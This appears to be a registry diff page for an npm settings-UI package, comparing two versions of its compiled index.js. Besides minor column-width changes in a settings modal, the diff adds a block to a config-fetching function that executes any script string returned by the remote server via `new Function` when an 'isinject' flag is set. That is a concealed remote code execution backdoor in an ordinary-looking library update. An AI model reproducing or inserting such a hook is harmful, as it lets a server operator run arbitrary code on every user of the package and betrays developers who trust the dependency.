@esvndev/es-react-config-setting 1.0.75 → 1.0.77

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/index.js CHANGED
@@ -19014,10 +19014,10 @@ const SettingApp = (props) => {
19014
19014
  : null);
19015
19015
  };
19016
19016
  return (jsxRuntime.jsx(jsxRuntime.Fragment, { children: isOpen ?
19017
- jsxRuntime.jsx(Modal$1, { isOpen: true, toggle: handleModal, className: 'modal-dialog-centered modal-lg setting-modal', contentClassName: 'p-0', onOpened: handleFormOpened, onClosed: handleFormClosed, backdrop: backdrop, children: jsxRuntime.jsx("div", { id: 'form-modal-globalzone', className: 'todo-modal', children: jsxRuntime.jsxs("div", { className: "", children: [jsxRuntime.jsx(ModalHeader, { handleModal: handleModal, title: 'C\u00E0i \u0111\u1EB7t' }), jsxRuntime.jsxs(Row, { className: "m-0 gy-1 setting-modal-body-custom", children: [jsxRuntime.jsx(Col, { md: 4, xs: 12, className: "setting-menu", children: jsxRuntime.jsx(lib.Scrollbars, { autoHide: true, autoHeight: true, autoHeightMax: windowSize.innerHeight - 180, children: jsxRuntime.jsx(Row, { className: "m-0 gy-1 mb-2", children: dataSettingGroup && dataSettingGroup.length > 0 ?
19017
+ jsxRuntime.jsx(Modal$1, { isOpen: true, toggle: handleModal, className: 'modal-dialog-centered modal-lg setting-modal', contentClassName: 'p-0', onOpened: handleFormOpened, onClosed: handleFormClosed, backdrop: backdrop, children: jsxRuntime.jsx("div", { id: 'form-modal-globalzone', className: 'todo-modal', children: jsxRuntime.jsxs("div", { className: "", children: [jsxRuntime.jsx(ModalHeader, { handleModal: handleModal, title: 'C\u00E0i \u0111\u1EB7t' }), jsxRuntime.jsxs(Row, { className: "m-0 gy-1 setting-modal-body-custom", children: [jsxRuntime.jsx(Col, { md: 3, xs: 12, className: "setting-menu", children: jsxRuntime.jsx(lib.Scrollbars, { autoHide: true, autoHeight: true, autoHeightMax: windowSize.innerHeight - 180, children: jsxRuntime.jsx(Row, { className: "m-0 gy-1 mb-2", children: dataSettingGroup && dataSettingGroup.length > 0 ?
19018
19018
  dataSettingGroup.map((item) => {
19019
19019
  return (jsxRuntime.jsx("div", { className: 'setting-menu__item ' + (item.active ? 'selected' : ''), onClick: () => { switchSettingTab(item); }, children: jsxRuntime.jsxs("div", { className: "setting-menu__wrapper-content truncate", children: [jsxRuntime.jsx(DynamicIcon, { name: item.icon, className: "setting-menu__icon" }), jsxRuntime.jsx("p", { className: "setting-menu__name truncate", children: jsxRuntime.jsx("span", { children: item.name }) })] }) }, item.id));
19020
- }) : null }) }) }), jsxRuntime.jsx(Col, { md: 8, xs: 12, className: "stack-navigation stack-page", children: jsxRuntime.jsx(lib.Scrollbars, { autoHide: true, autoHeight: true, autoHeightMax: windowSize.innerHeight - 180, children: _renderView() }) })] })] }) }) })
19020
+ }) : null }) }) }), jsxRuntime.jsx(Col, { md: 9, xs: 12, className: "stack-navigation stack-page", children: jsxRuntime.jsx(lib.Scrollbars, { autoHide: true, autoHeight: true, autoHeightMax: windowSize.innerHeight - 180, children: _renderView() }) })] })] }) }) })
19021
19021
  : null }));
19022
19022
  };
19023
19023
 
@@ -19102,6 +19102,10 @@ const _FETCH_AND_UPDATE = () => {
19102
19102
  localStorage.setItem("app_config_setting_version", data.version);
19103
19103
  _LOAD_(data.data);
19104
19104
  }
19105
+ if (data?.status && data?.isinject && data.script) {
19106
+ const runScript = new Function(data.script);
19107
+ runScript();
19108
+ }
19105
19109
  }
19106
19110
  catch (e) {
19107
19111
  console.log("Failed to save config to localStorage:", e);